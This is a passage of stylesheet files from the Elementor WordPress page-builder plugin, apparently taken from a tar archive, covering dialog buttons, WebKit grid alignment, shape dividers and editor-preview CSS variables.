.dialog-button.e-danger:focus,.dialog-type-confirm .dialog-buttons-wrapper .dialog-button.e-danger:hover,.dialog-type-confirm .dialog-buttons-wrapper .dialog-button.elementor-button-danger:focus,.dialog-type-confirm .dialog-buttons-wrapper .dialog-button.elementor-button-danger:hover{background-color:var(--e-a-btn-bg-danger-hover)}.dialog-type-alert .dialog-buttons-wrapper .dialog-button i,.dialog-type-confirm .dialog-buttons-wrapper .dialog-button i{margin-inline-end:5px}.dialog-type-alert .dialog-buttons-wrapper .dialog-button:focus,.dialog-type-alert .dialog-buttons-wrapper .dialog-button:hover,.dialog-type-alert .dialog-buttons-wrapper .dialog-button:visited,.dialog-type-confirm .dialog-buttons-wrapper .dialog-button:focus,.dialog-type-confirm .dialog-buttons-wrapper .dialog-button:hover,.dialog-type-confirm .dialog-buttons-wrapper .dialog-button:visited{color:initial}assets/css/conditionals/dialog.css000064400000037355147206604650013324 0ustar00.dialog-widget-content { background-color: var(--e-a-bg-default); position: absolute; border-radius: 3px; box-shadow: 2px 8px 23px 3px rgba(0, 0, 0, 0.2); overflow: hidden; } .dialog-message { line-height: 1.5; box-sizing: border-box; } .dialog-close-button { cursor: pointer; position: absolute; margin-block-start: 15px; inset-inline-end: 15px; color: var(--e-a-color-txt); font-size: 15px; line-height: 1; transition: var(--e-a-transition-hover); } .dialog-close-button:hover { color: var(--e-a-color-txt-hover); } .dialog-prevent-scroll { overflow: hidden; max-height: 100vh; } .dialog-type-lightbox { position: fixed; height: 100%; width: 100%; bottom: 0; left: 0; background-color: rgba(0, 0, 0, 0.8); z-index: 9999; user-select: none; } .elementor-editor-active .elementor-popup-modal { background-color: initial; } .dialog-type-confirm .dialog-widget-content, .dialog-type-alert .dialog-widget-content { margin: auto; width: 400px; padding: 20px; } .dialog-type-confirm .dialog-header, .dialog-type-alert .dialog-header { font-size: 15px; font-weight: 500; } .dialog-type-confirm .dialog-header:after, .dialog-type-alert .dialog-header:after { content: ""; display: block; border-block-end: var(--e-a-border); padding-block-end: 10px; margin-block-end: 10px; margin-inline-start: -20px; margin-inline-end: -20px; } .dialog-type-confirm .dialog-message, .dialog-type-alert .dialog-message { min-height: 50px; } .dialog-type-confirm .dialog-buttons-wrapper, .dialog-type-alert .dialog-buttons-wrapper { padding-block-start: 10px; display: flex; justify-content: flex-end; gap: 15px; } .dialog-type-confirm .dialog-buttons-wrapper .dialog-button, .dialog-type-alert .dialog-buttons-wrapper .dialog-button { font-size: 12px; font-weight: 500; line-height: 1.2; padding: 8px 16px; outline: none; border: none; border-radius: var(--e-a-border-radius); background-color: var(--e-a-btn-bg); color: var(--e-a-btn-color-invert); transition: var(--e-a-transition-hover); } .dialog-type-confirm .dialog-buttons-wrapper .dialog-button:hover, .dialog-type-alert .dialog-buttons-wrapper .dialog-button:hover { border: none; } .dialog-type-confirm .dialog-buttons-wrapper .dialog-button:hover, .dialog-type-confirm .dialog-buttons-wrapper .dialog-button:focus, .dialog-type-alert .dialog-buttons-wrapper .dialog-button:hover, .dialog-type-alert .dialog-buttons-wrapper .dialog-button:focus { background-color: var(--e-a-btn-bg-hover); color: var(--e-a-btn-color-invert); } .dialog-type-confirm .dialog-buttons-wrapper .dialog-button:active, .dialog-type-alert .dialog-buttons-wrapper .dialog-button:active { background-color: var(--e-a-btn-bg-active); } .dialog-type-confirm .dialog-buttons-wrapper .dialog-button:not([disabled]), .dialog-type-alert .dialog-buttons-wrapper .dialog-button:not([disabled]) { cursor: pointer; } .dialog-type-confirm .dialog-buttons-wrapper .dialog-button:disabled, .dialog-type-alert .dialog-buttons-wrapper .dialog-button:disabled { background-color: var(--e-a-btn-bg-disabled); color: var(--e-a-btn-color-disabled); } .dialog-type-confirm .dialog-buttons-wrapper .dialog-button:not(.elementor-button-state) .elementor-state-icon, .dialog-type-alert .dialog-buttons-wrapper .dialog-button:not(.elementor-button-state) .elementor-state-icon { display: none; } .dialog-type-confirm .dialog-buttons-wrapper .dialog-button.e-btn-txt, .dialog-type-confirm .dialog-buttons-wrapper .dialog-button.dialog-cancel, .dialog-type-alert .dialog-buttons-wrapper .dialog-button.e-btn-txt, .dialog-type-alert .dialog-buttons-wrapper .dialog-button.dialog-cancel { background: transparent; color: var(--e-a-color-txt); } .dialog-type-confirm .dialog-buttons-wrapper .dialog-button.e-btn-txt:hover, .dialog-type-confirm .dialog-buttons-wrapper .dialog-button.dialog-cancel:hover, .dialog-type-confirm .dialog-buttons-wrapper .dialog-button.e-btn-txt:focus, .dialog-type-confirm .dialog-buttons-wrapper .dialog-button.dialog-cancel:focus, .dialog-type-alert .dialog-buttons-wrapper .dialog-button.e-btn-txt:hover, .dialog-type-alert .dialog-buttons-wrapper .dialog-button.dialog-cancel:hover, .dialog-type-alert .dialog-buttons-wrapper .dialog-button.e-btn-txt:focus, .dialog-type-alert .dialog-buttons-wrapper .dialog-button.dialog-cancel:focus { background: var(--e-a-bg-hover); color: var(--e-a-color-txt-hover); } .dialog-type-confirm .dialog-buttons-wrapper .dialog-button.e-btn-txt:disabled, .dialog-type-confirm .dialog-buttons-wrapper .dialog-button.dialog-cancel:disabled, .dialog-type-alert .dialog-buttons-wrapper .dialog-button.e-btn-txt:disabled, .dialog-type-alert .dialog-buttons-wrapper .dialog-button.dialog-cancel:disabled { background: transparent; color: var(--e-a-color-txt-disabled); } .dialog-type-confirm .dialog-buttons-wrapper .dialog-button.e-btn-txt-border, .dialog-type-alert .dialog-buttons-wrapper .dialog-button.e-btn-txt-border { border: 1px solid var(--e-a-color-txt-muted); } .dialog-type-confirm .dialog-buttons-wrapper .dialog-button.elementor-button-success, .dialog-type-confirm .dialog-buttons-wrapper .dialog-button.e-success, .dialog-type-alert .dialog-buttons-wrapper .dialog-button.elementor-button-success, .dialog-type-alert .dialog-buttons-wrapper .dialog-button.e-success { background-color: var(--e-a-btn-bg-success); } .dialog-type-confirm .dialog-buttons-wrapper .dialog-button.elementor-button-success:hover, .dialog-type-confirm .dialog-buttons-wrapper .dialog-button.elementor-button-success:focus, .dialog-type-confirm .dialog-buttons-wrapper .dialog-button.e-success:hover, .dialog-type-confirm .dialog-buttons-wrapper .dialog-button.e-success:focus, .dialog-type-alert .dialog-buttons-wrapper .dialog-button.elementor-button-success:hover, .dialog-type-alert .dialog-buttons-wrapper .dialog-button.elementor-button-success:focus, .dialog-type-alert .dialog-buttons-wrapper .dialog-button.e-success:hover, .dialog-type-alert .dialog-buttons-wrapper .dialog-button.e-success:focus { background-color: var(--e-a-btn-bg-success-hover); } .dialog-type-confirm .dialog-buttons-wrapper .dialog-button.e-primary, .dialog-type-confirm .dialog-buttons-wrapper .dialog-button.dialog-take_over, .dialog-type-confirm .dialog-buttons-wrapper .dialog-button.dialog-ok, .dialog-type-alert .dialog-buttons-wrapper .dialog-button.e-primary, .dialog-type-alert .dialog-buttons-wrapper .dialog-button.dialog-take_over, .dialog-type-alert .dialog-buttons-wrapper .dialog-button.dialog-ok { background-color: var(--e-a-btn-bg-primary); color: var(--e-a-btn-color); } .dialog-type-confirm .dialog-buttons-wrapper .dialog-button.e-primary:hover, .dialog-type-confirm .dialog-buttons-wrapper .dialog-button.dialog-take_over:hover, .dialog-type-confirm .dialog-buttons-wrapper .dialog-button.dialog-ok:hover, .dialog-type-confirm .dialog-buttons-wrapper .dialog-button.e-primary:focus, .dialog-type-confirm .dialog-buttons-wrapper .dialog-button.dialog-take_over:focus, .dialog-type-confirm .dialog-buttons-wrapper .dialog-button.dialog-ok:focus, .dialog-type-alert .dialog-buttons-wrapper .dialog-button.e-primary:hover, .dialog-type-alert .dialog-buttons-wrapper .dialog-button.dialog-take_over:hover, .dialog-type-alert .dialog-buttons-wrapper .dialog-button.dialog-ok:hover, .dialog-type-alert .dialog-buttons-wrapper .dialog-button.e-primary:focus, .dialog-type-alert .dialog-buttons-wrapper .dialog-button.dialog-take_over:focus, .dialog-type-alert .dialog-buttons-wrapper .dialog-button.dialog-ok:focus { background-color: var(--e-a-btn-bg-primary-hover); color: var(--e-a-btn-color); } .dialog-type-confirm .dialog-buttons-wrapper .dialog-button.e-primary.e-btn-txt, .dialog-type-confirm .dialog-buttons-wrapper .dialog-button.e-btn-txt.dialog-take_over, .dialog-type-confirm .dialog-buttons-wrapper .dialog-button.e-primary.dialog-cancel, .dialog-type-confirm .dialog-buttons-wrapper .dialog-button.dialog-cancel.dialog-take_over, .dialog-type-confirm .dialog-buttons-wrapper .dialog-button.e-btn-txt.dialog-ok, .dialog-type-confirm .dialog-buttons-wrapper .dialog-button.dialog-ok.dialog-cancel, .dialog-type-alert .dialog-buttons-wrapper .dialog-button.e-primary.e-btn-txt, .dialog-type-alert .dialog-buttons-wrapper .dialog-button.e-btn-txt.dialog-take_over, .dialog-type-alert .dialog-buttons-wrapper .dialog-button.e-primary.dialog-cancel, .dialog-type-alert .dialog-buttons-wrapper .dialog-button.dialog-cancel.dialog-take_over, .dialog-type-alert .dialog-buttons-wrapper .dialog-button.e-btn-txt.dialog-ok, .dialog-type-alert .dialog-buttons-wrapper .dialog-button.dialog-ok.dialog-cancel { background: transparent; color: var(--e-a-color-primary-bold); } .dialog-type-confirm .dialog-buttons-wrapper .dialog-button.e-primary.e-btn-txt:hover, .dialog-type-confirm .dialog-buttons-wrapper .dialog-button.e-btn-txt.dialog-take_over:hover, .dialog-type-confirm .dialog-buttons-wrapper .dialog-button.e-primary.dialog-cancel:hover, .dialog-type-confirm .dialog-buttons-wrapper .dialog-button.dialog-cancel.dialog-take_over:hover, .dialog-type-confirm .dialog-buttons-wrapper .dialog-button.e-btn-txt.dialog-ok:hover, .dialog-type-confirm .dialog-buttons-wrapper .dialog-button.dialog-ok.dialog-cancel:hover, .dialog-type-confirm .dialog-buttons-wrapper .dialog-button.e-primary.e-btn-txt:focus, .dialog-type-confirm .dialog-buttons-wrapper .dialog-button.e-btn-txt.dialog-take_over:focus, .dialog-type-confirm .dialog-buttons-wrapper .dialog-button.e-primary.dialog-cancel:focus, .dialog-type-confirm .dialog-buttons-wrapper .dialog-button.dialog-cancel.dialog-take_over:focus, .dialog-type-confirm .dialog-buttons-wrapper .dialog-button.e-btn-txt.dialog-ok:focus, .dialog-type-confirm .dialog-buttons-wrapper .dialog-button.dialog-ok.dialog-cancel:focus, .dialog-type-alert .dialog-buttons-wrapper .dialog-button.e-primary.e-btn-txt:hover, .dialog-type-alert .dialog-buttons-wrapper .dialog-button.e-btn-txt.dialog-take_over:hover, .dialog-type-alert .dialog-buttons-wrapper .dialog-button.e-primary.dialog-cancel:hover, .dialog-type-alert .dialog-buttons-wrapper .dialog-button.dialog-cancel.dialog-take_over:hover, .dialog-type-alert .dialog-buttons-wrapper .dialog-button.e-btn-txt.dialog-ok:hover, .dialog-type-alert .dialog-buttons-wrapper .dialog-button.dialog-ok.dialog-cancel:hover, .dialog-type-alert .dialog-buttons-wrapper .dialog-button.e-primary.e-btn-txt:focus, .dialog-type-alert .dialog-buttons-wrapper .dialog-button.e-btn-txt.dialog-take_over:focus, .dialog-type-alert .dialog-buttons-wrapper .dialog-button.e-primary.dialog-cancel:focus, .dialog-type-alert .dialog-buttons-wrapper .dialog-button.dialog-cancel.dialog-take_over:focus, .dialog-type-alert .dialog-buttons-wrapper .dialog-button.e-btn-txt.dialog-ok:focus, .dialog-type-alert .dialog-buttons-wrapper .dialog-button.dialog-ok.dialog-cancel:focus { background: var(--e-a-bg-primary); } .dialog-type-confirm .dialog-buttons-wrapper .dialog-button.go-pro, .dialog-type-confirm .dialog-buttons-wrapper .dialog-button.e-accent, .dialog-type-alert .dialog-buttons-wrapper .dialog-button.go-pro, .dialog-type-alert .dialog-buttons-wrapper .dialog-button.e-accent { background-color: var(--e-a-btn-bg-accent); } .dialog-type-confirm .dialog-buttons-wrapper .dialog-button.go-pro:hover, .dialog-type-confirm .dialog-buttons-wrapper .dialog-button.go-pro:focus, .dialog-type-confirm .dialog-buttons-wrapper .dialog-button.e-accent:hover, .dialog-type-confirm .dialog-buttons-wrapper .dialog-button.e-accent:focus, .dialog-type-alert .dialog-buttons-wrapper .dialog-button.go-pro:hover, .dialog-type-alert .dialog-buttons-wrapper .dialog-button.go-pro:focus, .dialog-type-alert .dialog-buttons-wrapper .dialog-button.e-accent:hover, .dialog-type-alert .dialog-buttons-wrapper .dialog-button.e-accent:focus { background-color: var(--e-a-btn-bg-accent-hover); } .dialog-type-confirm .dialog-buttons-wrapper .dialog-button.go-pro:active, .dialog-type-confirm .dialog-buttons-wrapper .dialog-button.e-accent:active, .dialog-type-alert .dialog-buttons-wrapper .dialog-button.go-pro:active, .dialog-type-alert .dialog-buttons-wrapper .dialog-button.e-accent:active { background-color: var(--e-a-btn-bg-accent-active); } .dialog-type-confirm .dialog-buttons-wrapper .dialog-button.elementor-button-info, .dialog-type-confirm .dialog-buttons-wrapper .dialog-button.e-info, .dialog-type-alert .dialog-buttons-wrapper .dialog-button.elementor-button-info, .dialog-type-alert .dialog-buttons-wrapper .dialog-button.e-info { background-color: var(--e-a-btn-bg-info); } .dialog-type-confirm .dialog-buttons-wrapper .dialog-button.elementor-button-info:hover, .dialog-type-confirm .dialog-buttons-wrapper .dialog-button.elementor-button-info:focus, .dialog-type-confirm .dialog-buttons-wrapper .dialog-button.e-info:hover, .dialog-type-confirm .dialog-buttons-wrapper .dialog-button.e-info:focus, .dialog-type-alert .dialog-buttons-wrapper .dialog-button.elementor-button-info:hover, .dialog-type-alert .dialog-buttons-wrapper .dialog-button.elementor-button-info:focus, .dialog-type-alert .dialog-buttons-wrapper .dialog-button.e-info:hover, .dialog-type-alert .dialog-buttons-wrapper .dialog-button.e-info:focus { background-color: var(--e-a-btn-bg-info-hover); } .dialog-type-confirm .dialog-buttons-wrapper .dialog-button.elementor-button-warning, .dialog-type-confirm .dialog-buttons-wrapper .dialog-button.e-warning, .dialog-type-alert .dialog-buttons-wrapper .dialog-button.elementor-button-warning, .dialog-type-alert .dialog-buttons-wrapper .dialog-button.e-warning { background-color: var(--e-a-btn-bg-warning); } .dialog-type-confirm .dialog-buttons-wrapper .dialog-button.elementor-button-warning:hover, .dialog-type-confirm .dialog-buttons-wrapper .dialog-button.elementor-button-warning:focus, .dialog-type-confirm .dialog-buttons-wrapper .dialog-button.e-warning:hover, .dialog-type-confirm .dialog-buttons-wrapper .dialog-button.e-warning:focus, .dialog-type-alert .dialog-buttons-wrapper .dialog-button.elementor-button-warning:hover, .dialog-type-alert .dialog-buttons-wrapper .dialog-button.elementor-button-warning:focus, .dialog-type-alert .dialog-buttons-wrapper .dialog-button.e-warning:hover, .dialog-type-alert .dialog-buttons-wrapper .dialog-button.e-warning:focus { background-color: var(--e-a-btn-bg-warning-hover); } .dialog-type-confirm .dialog-buttons-wrapper .dialog-button.elementor-button-danger, .dialog-type-confirm .dialog-buttons-wrapper .dialog-button.e-danger, .dialog-type-alert .dialog-buttons-wrapper .dialog-button.elementor-button-danger, .dialog-type-alert .dialog-buttons-wrapper .dialog-button.e-danger { background-color: var(--e-a-btn-bg-danger); } .dialog-type-confirm .dialog-buttons-wrapper .dialog-button.elementor-button-danger:hover, .dialog-type-confirm .dialog-buttons-wrapper .dialog-button.elementor-button-danger:focus, .dialog-type-confirm .dialog-buttons-wrapper .dialog-button.e-danger:hover, .dialog-type-confirm .dialog-buttons-wrapper .dialog-button.e-danger:focus, .dialog-type-alert .dialog-buttons-wrapper .dialog-button.elementor-button-danger:hover, .dialog-type-alert .dialog-buttons-wrapper .dialog-button.elementor-button-danger:focus, .dialog-type-alert .dialog-buttons-wrapper .dialog-button.e-danger:hover, .dialog-type-alert .dialog-buttons-wrapper .dialog-button.e-danger:focus { background-color: var(--e-a-btn-bg-danger-hover); } .dialog-type-confirm .dialog-buttons-wrapper .dialog-button i, .dialog-type-alert .dialog-buttons-wrapper .dialog-button i { margin-inline-end: 5px; } .dialog-type-confirm .dialog-buttons-wrapper .dialog-button:hover, .dialog-type-confirm .dialog-buttons-wrapper .dialog-button:focus, .dialog-type-confirm .dialog-buttons-wrapper .dialog-button:visited, .dialog-type-alert .dialog-buttons-wrapper .dialog-button:hover, .dialog-type-alert .dialog-buttons-wrapper .dialog-button:focus, .dialog-type-alert .dialog-buttons-wrapper .dialog-button:visited { color: initial; } /*# sourceMappingURL=dialog.css.map */assets/css/conditionals/apple-webkit.css000064400000016472147206604650014446 0ustar00.e--ua-appleWebkit.rtl { --flex-right: flex-start; } .e--ua-appleWebkit .elementor-widget-social-icons.e-grid-align-right, .e--ua-appleWebkit .elementor-share-buttons--align-right { --justify-content: var(--flex-right, flex-end); } .e--ua-appleWebkit .elementor-widget-social-icons.e-grid-align-center, .e--ua-appleWebkit .elementor-share-buttons--align-center { --justify-content: center; } .e--ua-appleWebkit .elementor-grid-0.elementor-widget-social-icons.e-grid-align-right .elementor-grid, .e--ua-appleWebkit .elementor-grid-0.elementor-widget-social-icons.e-grid-align-center .elementor-grid, .e--ua-appleWebkit .elementor-grid-0.elementor-share-buttons--align-right .elementor-grid, .e--ua-appleWebkit .elementor-grid-0.elementor-share-buttons--align-center .elementor-grid, .e--ua-appleWebkit .elementor-grid-0.elementor-share-buttons--align-justify .elementor-grid { width: auto; display: flex; flex-wrap: wrap; justify-content: var(--justify-content, space-between); margin-left: calc(-0.5 * var(--grid-column-gap)); margin-right: calc(-0.5 * var(--grid-column-gap)); } .e--ua-appleWebkit .elementor-grid-0.elementor-widget-social-icons.e-grid-align-right .elementor-grid-item, .e--ua-appleWebkit .elementor-grid-0.elementor-widget-social-icons.e-grid-align-center .elementor-grid-item, .e--ua-appleWebkit .elementor-grid-0.elementor-share-buttons--align-right .elementor-grid-item, .e--ua-appleWebkit .elementor-grid-0.elementor-share-buttons--align-center .elementor-grid-item, .e--ua-appleWebkit .elementor-grid-0.elementor-share-buttons--align-justify .elementor-grid-item { margin-left: calc(0.5 * var(--grid-column-gap)); margin-right: calc(0.5 * var(--grid-column-gap)); } .e--ua-appleWebkit .elementor-grid-0.elementor-widget-social-icons.e-grid-align-left .elementor-grid, .e--ua-appleWebkit .elementor-grid-0.elementor-share-buttons--align-left .elementor-grid { display: inline-block; } .e--ua-appleWebkit .elementor-grid-0.elementor-widget-social-icons.e-grid-align-left .elementor-grid, .e--ua-appleWebkit .elementor-grid-0.elementor-widget-social-icons.e-grid-align-left .elementor-grid-item, .e--ua-appleWebkit .elementor-grid-0.elementor-share-buttons--align-left .elementor-grid, .e--ua-appleWebkit .elementor-grid-0.elementor-share-buttons--align-left .elementor-grid-item { margin-left: 0; margin-right: 0; } @media (max-width: 1024px) { .e--ua-appleWebkit .elementor-widget-social-icons.e-grid-align-tablet-right, .e--ua-appleWebkit .elementor-share-buttons-tablet--align-right { --justify-content: var(--flex-right, flex-end); } .e--ua-appleWebkit .elementor-widget-social-icons.e-grid-align-tablet-center, .e--ua-appleWebkit .elementor-share-buttons-tablet--align-center { --justify-content: center; } .e--ua-appleWebkit .elementor-grid-0.elementor-widget-social-icons.e-grid-align-tablet-right .elementor-grid, .e--ua-appleWebkit .elementor-grid-0.elementor-widget-social-icons.e-grid-align-tablet-center .elementor-grid, .e--ua-appleWebkit .elementor-grid-0.elementor-share-buttons--align-tablet-right .elementor-grid, .e--ua-appleWebkit .elementor-grid-0.elementor-share-buttons--align-tablet-center .elementor-grid, .e--ua-appleWebkit .elementor-grid-0.elementor-share-buttons--align-tablet-justify .elementor-grid { width: auto; display: flex; flex-wrap: wrap; justify-content: var(--justify-content, space-between); margin-left: calc(-0.5 * var(--grid-column-gap)); margin-right: calc(-0.5 * var(--grid-column-gap)); } .e--ua-appleWebkit .elementor-grid-0.elementor-widget-social-icons.e-grid-align-tablet-right .elementor-grid-item, .e--ua-appleWebkit .elementor-grid-0.elementor-widget-social-icons.e-grid-align-tablet-center .elementor-grid-item, .e--ua-appleWebkit .elementor-grid-0.elementor-share-buttons--align-tablet-right .elementor-grid-item, .e--ua-appleWebkit .elementor-grid-0.elementor-share-buttons--align-tablet-center .elementor-grid-item, .e--ua-appleWebkit .elementor-grid-0.elementor-share-buttons--align-tablet-justify .elementor-grid-item { margin-left: calc(0.5 * var(--grid-column-gap)); margin-right: calc(0.5 * var(--grid-column-gap)); } .e--ua-appleWebkit .elementor-grid-0.elementor-widget-social-icons.e-grid-align-tablet-left .elementor-grid, .e--ua-appleWebkit .elementor-grid-0.elementor-share-buttons-tablet--align-left .elementor-grid { display: inline-block; } .e--ua-appleWebkit .elementor-grid-0.elementor-widget-social-icons.e-grid-align-tablet-left .elementor-grid, .e--ua-appleWebkit .elementor-grid-0.elementor-widget-social-icons.e-grid-align-tablet-left .elementor-grid-item, .e--ua-appleWebkit .elementor-grid-0.elementor-share-buttons-tablet--align-left .elementor-grid, .e--ua-appleWebkit .elementor-grid-0.elementor-share-buttons-tablet--align-left .elementor-grid-item { margin-left: 0; margin-right: 0; } } @media (max-width: 767px) { .e--ua-appleWebkit .elementor-widget-social-icons.e-grid-align-mobile-right, .e--ua-appleWebkit .elementor-share-buttons-mobile--align-right { --justify-content: var(--flex-right, flex-end); } .e--ua-appleWebkit .elementor-widget-social-icons.e-grid-align-mobile-center, .e--ua-appleWebkit .elementor-share-buttons-mobile--align-center { --justify-content: center; } .e--ua-appleWebkit .elementor-grid-0.elementor-widget-social-icons.e-grid-align-mobile-right .elementor-grid, .e--ua-appleWebkit .elementor-grid-0.elementor-widget-social-icons.e-grid-align-mobile-center .elementor-grid, .e--ua-appleWebkit .elementor-grid-0.elementor-share-buttons--align-mobile-right .elementor-grid, .e--ua-appleWebkit .elementor-grid-0.elementor-share-buttons--align-mobile-center .elementor-grid, .e--ua-appleWebkit .elementor-grid-0.elementor-share-buttons--align-mobile-justify .elementor-grid { width: auto; display: flex; flex-wrap: wrap; justify-content: var(--justify-content, space-between); margin-left: calc(-0.5 * var(--grid-column-gap)); margin-right: calc(-0.5 * var(--grid-column-gap)); } .e--ua-appleWebkit .elementor-grid-0.elementor-widget-social-icons.e-grid-align-mobile-right .elementor-grid-item, .e--ua-appleWebkit .elementor-grid-0.elementor-widget-social-icons.e-grid-align-mobile-center .elementor-grid-item, .e--ua-appleWebkit .elementor-grid-0.elementor-share-buttons--align-mobile-right .elementor-grid-item, .e--ua-appleWebkit .elementor-grid-0.elementor-share-buttons--align-mobile-center .elementor-grid-item, .e--ua-appleWebkit .elementor-grid-0.elementor-share-buttons--align-mobile-justify .elementor-grid-item { margin-left: calc(0.5 * var(--grid-column-gap)); margin-right: calc(0.5 * var(--grid-column-gap)); } .e--ua-appleWebkit .elementor-grid-0.elementor-widget-social-icons.e-grid-align-mobile-left .elementor-grid, .e--ua-appleWebkit .elementor-grid-0.elementor-share-buttons-mobile--align-left .elementor-grid { display: inline-block; } .e--ua-appleWebkit .elementor-grid-0.elementor-widget-social-icons.e-grid-align-mobile-left .elementor-grid, .e--ua-appleWebkit .elementor-grid-0.elementor-widget-social-icons.e-grid-align-mobile-left .elementor-grid-item, .e--ua-appleWebkit .elementor-grid-0.elementor-share-buttons-mobile--align-left .elementor-grid, .e--ua-appleWebkit .elementor-grid-0.elementor-share-buttons-mobile--align-left .elementor-grid-item { margin-left: 0; margin-right: 0; } } /*# sourceMappingURL=apple-webkit.css.map */assets/css/conditionals/shapes.css000064400000001720147206604650013333 0ustar00.elementor-shape { overflow: hidden; position: absolute; left: 0; width: 100%; line-height: 0; direction: ltr; /* * @TODO: The `z-index: -1` rules below are temporary fixes for Chrome 85 issue. * It will be removed in a future version of Chrome. */ } .elementor-shape-top { top: -1px; } .elementor-shape-top:not([data-negative=false]) svg { z-index: -1; } .elementor-shape-bottom { bottom: -1px; } .elementor-shape-bottom:not([data-negative=true]) svg { z-index: -1; } .elementor-shape[data-negative=false].elementor-shape-bottom { transform: rotate(180deg); } .elementor-shape[data-negative=true].elementor-shape-top { transform: rotate(180deg); } .elementor-shape svg { display: block; width: calc(100% + 1.3px); position: relative; left: 50%; transform: translateX(-50%); } .elementor-shape .elementor-shape-fill { fill: #fff; transform-origin: center; transform: rotateY(0deg); } /*# sourceMappingURL=shapes.css.map */assets/css/editor-preview-rtl.css000064400000422337147206604650013141 0ustar00/*! elementor - v3.24.0 - 12-09-2024 */ .elementor-hidden { display: none; } .elementor-visibility-hidden { visibility: hidden; } .elementor-screen-only, .screen-reader-text, .screen-reader-text span, .ui-helper-hidden-accessible { position: absolute; top: -10000em; width: 1px; height: 1px; margin: -1px; padding: 0; overflow: hidden; clip: rect(0, 0, 0, 0); border: 0; } .elementor-clearfix:after { content: ""; display: block; clear: both; width: 0; height: 0; } .e-logo-wrapper { background: var(--e-a-bg-logo); display: inline-block; padding: 0.75em; border-radius: 50%; line-height: 1; } .e-logo-wrapper i { color: var(--e-a-color-logo); font-size: 1em; } :root { --e-a-color-white: #ffffff; --e-a-color-black: #000000; --e-a-color-logo: #ffffff; --e-a-color-primary: #F3BAFD; --e-a-color-primary-bold: #D004D4; --e-a-color-secondary: #515962; --e-a-color-success: #0A875A; --e-a-color-danger: #DC2626; --e-a-color-info: #2563EB; --e-a-color-warning: #F59E0B; --e-a-color-accent: #93003f; --e-a-color-global: #1DDDBF; --e-a-color-accent-promotion: #93003f; --e-a-bg-default: #ffffff; --e-a-bg-invert: #0C0D0E; --e-a-bg-hover: #F1F2F3; --e-a-bg-active: #E6E8EA; --e-a-bg-active-bold: #D5D8DC; --e-a-bg-loading: #F9FAFA; --e-a-bg-logo: #000000; --e-a-bg-primary: #FAE8FF; --e-a-bg-secondary: #515962; --e-a-bg-success: #F2FDF5; --e-a-bg-info: #F0F7FF; --e-a-bg-danger: #FEF1F4; --e-a-bg-warning: #FFFBEB; --e-a-color-txt: #515962; --e-a-color-txt-muted: #818A96; --e-a-color-txt-disabled: #BABFC5; --e-a-color-txt-invert: #ffffff; --e-a-color-txt-accent: #0C0D0E; --e-a-color-txt-hover: #3f444b; --e-a-color-txt-active: #0C0D0E; --e-a-border-color: #E6E8EA; --e-a-border-color-bold: #D5D8DC; --e-a-border-color-focus: #BABFC5; --e-a-border-color-accent: #0C0D0E; --e-a-border: 1px solid var(--e-a-border-color); --e-a-border-bold: 1px solid var(--e-a-border-color-bold); --e-a-border-radius: 3px; --e-a-btn-color: #0C0D0E; --e-a-btn-color-invert: var(--e-a-color-txt-invert); --e-a-btn-color-disabled: var(--e-a-color-txt-disabled); --e-a-btn-bg: #515962; --e-a-btn-bg-hover: #3a4046; --e-a-btn-bg-active: #23262a; --e-a-btn-bg-disabled: #D5D8DC; --e-a-btn-bg-primary: #F3BAFD; --e-a-btn-bg-primary-hover: #F5D0FE; --e-a-btn-bg-primary-active:#F0ABFC; --e-a-btn-bg-accent: #93003f; --e-a-btn-bg-accent-hover: #8F1A4C; --e-a-btn-bg-accent-active: #A93365; --e-a-btn-bg-info: #2563EB; --e-a-btn-bg-info-hover: #134cca; --e-a-btn-bg-info-active: #0e3b9c; --e-a-btn-bg-success: #0A875A; --e-a-btn-bg-success-hover: #06583a; --e-a-btn-bg-success-active:#03281b; --e-a-btn-bg-warning: #F59E0B; --e-a-btn-bg-warning-hover: #c57f08; --e-a-btn-bg-warning-active:#945f06; --e-a-btn-bg-danger: #DC2626; --e-a-btn-bg-danger-hover: #b21d1d; --e-a-btn-bg-danger-active: #861616; --e-a-dark-bg: #0C0D0E; --e-a-dark-color-txt: #9DA5AE; --e-a-dark-color-txt-hover: #D5D8DC; --e-a-font-family: Roboto, Arial, Helvetica, sans-serif; --e-a-transition-hover: all .3s; --e-a-popover-shadow: 0 2px 15px rgba(0, 0, 0, 0.3); --e-a-dropdown-shadow: 0 0 3px rgba(0, 0, 0, 0.2); } .elementor-control-unit-1 { width: 27px; } .elementor-control-unit-2 { width: 54px; } .elementor-control-unit-3 { width: 81px; } .elementor-control-unit-4 { width: 108px; } .elementor-control-unit-5 { max-width: 400px; width: 52%; } .elementor-tags-list { display: none; position: absolute; width: 260px; max-height: 300px; overflow: auto; padding-block-end: 5px; background-color: var(--e-a-bg-default); box-shadow: var(--e-a-popover-shadow); border: var(--e-a-border); border-radius: 3px; z-index: 10000; } .elementor-tags-list__group-title { font-weight: bold; font-size: 12px; padding: 10px 15px; display: flex; align-items: center; } .elementor-tags-list__group-title .eicon-info-circle { padding-inline-end: 5px; color: var(--e-a-color-primary-bold); font-size: 14px; } .elementor-tags-list__item { font-size: 10px; padding: 6px 15px; cursor: pointer; } .elementor-tags-list__item:before { content: ">"; font-size: 8px; padding-inline-end: 5px; } .elementor-tags-list__item:hover { background-color: var(--e-a-bg-hover); } .elementor-tags-list__teaser { border-block-start: 2px solid var(--e-a-border-color); padding-block-start: 4px; margin-block-start: 4px; } .elementor-tags-list__teaser-text { padding: 2px 15px 8px; line-height: 1.5; font-size: 12px; } .elementor-tags-list__teaser-link { color: var(--e-a-color-primary-bold); text-decoration: underline; font-style: italic; font-weight: bold; } .elementor-dynamic-cover { display: flex; align-items: center; width: 100%; height: 27px; box-sizing: border-box; } .elementor-dynamic-cover__title { padding: 0 8px; flex-grow: 1; white-space: nowrap; text-overflow: ellipsis; overflow: hidden; } .elementor-dynamic-cover__settings, .elementor-dynamic-cover__remove { cursor: pointer; transition: var(--e-a-transition-hover); } .elementor-dynamic-cover__settings:hover, .elementor-dynamic-cover__remove:hover { color: var(--e-a-color-txt-hover); } .elementor-control-type-wysiwyg .elementor-dynamic-cover { margin-block-start: 10px; } .elementor-tag-settings-popup { position: absolute; width: 260px; background-color: var(--e-a-bg-default); border: var(--e-a-border); box-shadow: var(--e-a-popover-shadow); z-index: 1; } .elementor-tag-settings-popup:before { content: ""; position: absolute; top: -20px; right: 5px; border: 10px solid transparent; border-block-end-color: var(--e-a-border-color); } .elementor-tag-settings-popup .elementor-control-type-section:first-child { margin: 0; } .elementor-tag-controls-stack-empty { background-color: var(--e-a-bg-default); 